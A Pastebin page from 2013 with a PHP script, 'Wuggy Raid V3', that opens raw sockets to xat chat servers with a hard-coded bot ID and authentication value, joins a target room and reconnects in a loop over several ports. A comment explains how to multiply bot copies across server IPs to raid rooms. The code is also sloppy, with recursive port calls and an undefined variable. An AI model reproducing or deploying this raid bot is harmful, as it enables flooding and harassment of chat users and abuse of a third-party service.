Advertisement
Guest User

Bot raid xat 2013

a guest
Aug 2nd, 2013
1,909
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.38 KB | None | 0 0
  1. <?php      
  2.  
  3.                 echo ("Wuggy Raid V3");
  4.  
  5.         date_default_timezone_set("UCT"); //Timezone
  6.  
  7.         declare(ticks=0);
  8.  
  9.         set_time_limit(0); //So the bot doesn't time out
  10.  
  11.         class Wuggy {                                   #Note by Twin:
  12.  
  13.                 var $ip = "174.36.56.186"; //Xat's IP   #Want more bots? copy this whole script but
  14.  
  15.                 var $port=10038; //Xat's open port      #change the xat ip for each of script (so
  16.  
  17.                 var $userID = "614101457"; //BOT ID     #it would go as WuggyA.php, WuggyB.php, etc..)
  18.  
  19.                 var $roomID = "198961587"; //ROOM ID    #For the list of xats IPs ->
  20.  
  21.                 var $soc = null;                        #http://pastebin.com/wavQVZCf
  22.  
  23.                 var $packet = array();
  24.  
  25.                 var $k = "248435010"; //k value for userID
  26.  
  27.                 function reconnect(){ //Reconnects bots
  28.  
  29.                         $this->connect($this->ip,$this->port);
  30.  
  31.                         $this->join($this->roomID);
  32.  
  33.                         while($this->read()!="DIED");
  34.  
  35.                 }
  36.  
  37.                 function connect($ip, $port) { //Connects bots
  38.  
  39.                         if($this->soc!=null) socket_close($this->soc);
  40.  
  41.                         $this->soc = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
  42.  
  43.                         if(!$this->soc)$this->port();
  44.  
  45.                         if(!socket_connect($this->soc,$ip,$port))$this->port();
  46.  
  47.                                            
  48.  
  49.             }
  50.  
  51.                    
  52.  
  53.                    
  54.  
  55.            
  56.  
  57.                 function port(){ //Loads bots from the ports
  58.  
  59.                            
  60.  
  61.                         $this->port++;
  62.  
  63.                         if ($this->port>10049) $this->port=10039;
  64.  
  65.                         $this->reconnect();
  66.  
  67.                 }
  68.  
  69.                 function join($room) { //Joins the room
  70.  
  71.                         $this->send('<y m="1" />');
  72.  
  73.                         $this->read();
  74.  
  75.                         $this->send('<j2 q="1" y="'.$this->packet['y']['i'].'" k="'.$this->k.'" k3="0" z="12" p="0" c="'.$room.'" f="0" u="'.$this->userID.'" d0="0" n="lolwut" a="20" h="" v="0" />');
  76.  
  77.                         $this->port();
  78.  
  79.                                             $this->roomID = $roomID;
  80.  
  81.                                            
  82.  
  83.                                            
  84.  
  85.                 }
  86.  
  87.                            
  88.  
  89.                             function send($message) {
  90.  
  91.                         echo "\nBot connected.";
  92.  
  93.                         socket_write($this->soc, $message."\0", strlen($message)+1);
  94.  
  95.                 }
  96.  
  97.      
  98.  
  99.                 function read($parse=true) {  //Read function
  100.  
  101.                         $res = rtrim(socket_read($this->soc, 4096));
  102.  
  103.                         echo "\Bot connected.";
  104.  
  105.                         if(strpos(strtolower($res),"ailed"))$this->port();
  106.  
  107.                         if(!$res) return "DIED";
  108.  
  109.                         $this->lastPacket = $res;
  110.  
  111.                         if($res{strlen($res)-1}!='>') {$res.=$this->read(false);}
  112.  
  113.                         if($parse)$this->parse($res);
  114.  
  115.                         return $res;
  116.  
  117.                 }
  118.  
  119.                 function parse($packet) {
  120.  
  121.                         $packet=str_replace('+','@più@',str_replace(' ="',' @=@"',$packet));
  122.  
  123.                         if(substr_count($packet,'>')>1) $packet = explode('/>',$packet);
  124.  
  125.                         foreach((Array)$packet as $p) {
  126.  
  127.                                 $p = trim($p);
  128.  
  129.                                 if(strlen($p)<5) return;
  130.  
  131.                                 $type = trim(strtolower(substr($p,1,strpos($p.' ',' '))));
  132.  
  133.                                 $p = trim(str_replace("<$type",'',str_replace('/>','',$p)));
  134.  
  135.                                 parse_str(str_replace('"','',str_replace('" ','&',str_replace('="','=',str_replace('&','__38',$p)))),$this->packet[$type]);
  136.  
  137.                                 foreach($this->packet[$type] as $k=>$v) {
  138.  
  139.                                         $this->packet[$type][$k] = str_replace('@più@','+',str_replace('@=@','=',str_replace('__38','&',$v)));
  140.  
  141.                                 }
  142.  
  143.                         }
  144.  
  145.                 }
  146.  
  147.         }
  148.  
  149.            
  150.  
  151.             $bot = new Wuggy();
  152.  
  153.         $bot->reconnect();
  154.  
  155.        
  156.  
  157.         ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement